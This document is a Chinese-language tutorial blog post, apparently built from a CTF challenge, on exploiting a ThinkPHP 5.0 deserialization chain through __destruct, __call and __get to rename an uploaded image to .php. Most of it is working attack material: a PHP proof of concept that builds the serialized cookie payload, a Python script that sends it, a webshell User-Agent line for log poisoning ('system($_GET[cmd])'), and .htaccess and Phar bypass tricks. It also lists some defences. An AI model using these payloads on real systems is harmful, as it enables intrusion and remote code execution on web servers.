ThinkPHP 5 反序列化链构造实战:3步利用 __call 与 __get 实现文件重命名

📅2026/7/13 11:44:32 👁️次浏览
ThinkPHP 5 反序列化链构造实战:3步利用 __call 与 __get 实现文件重命名
ThinkPHP 5 反序列化漏洞深度解析从魔术方法到文件操作实战在CTF竞赛和实际渗透测试中ThinkPHP框架的反序列化漏洞一直是安全研究的重点。本文将深入剖析ThinkPHP 5框架中一个典型反序列化漏洞的完整利用链重点讲解如何通过__call和__get魔术方法实现文件重命名操作。1. 漏洞背景与环境搭建ThinkPHP作为国内广泛使用的PHP框架其安全性备受关注。我们分析的漏洞存在于ThinkPHP 5.0版本中涉及以下核心组件反序列化入口点用户登录时的Profile对象反序列化关键魔术方法__destruct、__call和__get最终攻击目标通过文件重命名将.png改为.php实验环境准备# 下载ThinkPHP 5.0.24 wget https://github.com/top-think/framework/archive/v5.0.24.zip unzip v5.0.24.zip # 启动PHP内置服务器 php -S 0.0.0.0:8000 -t public/2. 漏洞利用链分析完整的攻击链涉及多个类的协同操作2.1 反序列化触发点在application/web/controller/Index.php中登录检查时会反序列化用户Profilepublic function login_check() { $profile unserialize(base64_decode(cookie(user))); // 检查数据库匹配... }2.2 魔术方法调用链攻击者精心构造的对象会触发以下调用顺序__destructRegister类析构时调用$this-checker-index()__call当Profile类不存在index方法时触发__get访问不存在的属性时返回$this-except[index]最终调用通过精心构造的except数组调用upload_img方法2.3 关键类结构分析class Profile { public $except [index img]; public $img upload_img; // ...其他属性 public function __get($name) { return $this-except[$name]; } public function __call($name, $arguments) { if($this-{$name}) { $this-{$this-{$name}}($arguments); } } } class Register { public $checker; public $registed false; public function __destruct() { if(!$this-registed) { $this-checker-index(); } } }3. 漏洞利用实战3.1 构造恶意序列化数据以下是完整的POC构造代码?php namespace app\web\controller; class Profile { public $checker; public $filename_tmp ./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.png; public $filename ./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.php; public $upload_menu; public $ext png; public $img; public $except [index img]; public function __construct() { $this-img upload_img; } } class Register { public $checker; public $registed false; } $profile new Profile(); $register new Register(); $register-checker $profile; echo urlencode(base64_encode(serialize($register)));3.2 分步利用过程上传恶意图片先上传包含PHP代码的图片文件如shell.png设置恶意Cookie将生成的序列化数据作为user cookie触发反序列化访问需要登录的页面触发漏洞文件重命名系统将.png重命名为.php执行代码访问重命名后的PHP文件获取权限3.3 不同PHP版本的注意事项PHP版本序列化字符串差异特殊处理要求5.x属性类型严格匹配需确保属性数量一致7.x更宽松的类型处理注意protected属性前缀4. 防御方案与修复建议4.1 临时缓解措施// 在反序列化前增加类型检查 if (is_string($profileData)) { $profile unserialize($profileData, [allowed_classes false]); }4.2 长期修复方案升级框架版本使用ThinkPHP 5.1官方已修复相关漏洞输入验证对所有反序列化操作进行严格的白名单控制文件操作安全禁用危险函数如copy()、rename()使用随机文件名白名单扩展名4.3 安全配置示例// config.php中增加安全配置 return [ app_debug false, app_trace false, default_filter htmlspecialchars, cookie_httponly true, session_options [ use_strict_mode true ] ];5. 漏洞利用的深入技巧5.1 绕过文件上传限制即使系统强制重命名文件扩展名我们仍可利用以下方法.htaccess攻击上传包含AddType application/x-httpd-php .png的.htaccess文件包含漏洞结合本地文件包含(LFI)执行图片中的PHP代码二次渲染绕过分析图像处理逻辑寻找不改变PHP代码的魔术字节5.2 高级序列化技巧// 使用SplObjectStorage进行属性注入 $storage new SplObjectStorage(); $storage-attach($evilObj); $storage-offsetSet($triggerObj, $injectedData); // 利用Phar伪协议触发反序列化 file_exists(phar://evil.phar/test.txt);5.3 日志污染技巧当直接上传PHP不可行时可以通过User-Agent注入PHP代码到日志文件利用文件重命名漏洞将日志文件改为.php访问污染后的日志文件执行代码GET / HTTP/1.1 User-Agent: ?php system($_GET[cmd]);?6. 自动化漏洞检测以下是一个简单的检测脚本示例import requests import base64 import re TARGET_URL http://target.com/login CHECK_URL http://target.com/upload/test.php # 构造序列化payload payload O:26:app\\web\\controller\\Profile:7:{s:7:checker;N;s:12:filename_tmp;s:72:./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.png;s:8:filename;s:72:./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.php;s:11:upload_menu;N;s:3:ext;s:3:png;s:3:img;s:10:upload_img;s:6:except;a:1:{s:5:index;s:3:img;}} def check_vulnerability(): session requests.Session() # 注册测试用户 session.post(TARGET_URL, data{ username: test, password: test123 }) # 设置恶意cookie cookies {user: base64.b64encode(payload.encode()).decode()} # 触发反序列化 resp session.get(TARGET_URL, cookiescookies) # 检查漏洞是否利用成功 check_resp requests.get(CHECK_URL) if check_resp.status_code 200: print([] 漏洞存在) return True print([-] 漏洞不存在或利用失败) return False7. 漏洞修复验证修复后应进行以下验证测试基础功能测试正常用户登录和Profile反序列化文件上传和重命名功能安全测试// 测试恶意对象反序列化 $malicious O:26:app\web\controller\Profile:7:{s:7:checker;N;...}; $result unserialize($malicious, [allowed_classes false]); assert($result false, 反序列化过滤未生效); // 测试文件操作限制 $testFile /tmp/test.php; file_put_contents($testFile, ?php phpinfo(); ?); assert(!is_readable($testFile), 危险文件未正确限制);日志检查监控系统日志中的异常反序列化尝试检查文件操作日志中的可疑重命名行为8. 总结与延伸思考ThinkPHP反序列化漏洞的利用展示了魔术方法在PHP对象注入中的强大威力。安全开发中需要特别注意反序列化操作永远不要反序列化不可信的输入魔术方法使用谨慎实现__wakeup、__destruct等魔术方法文件操作安全所有文件路径都应进行规范化处理在CTF竞赛中这类题目通常结合以下扩展考点绕过disable_functions限制无字母数字webshell构造Phar反序列化利用自定义反序列化处理器攻击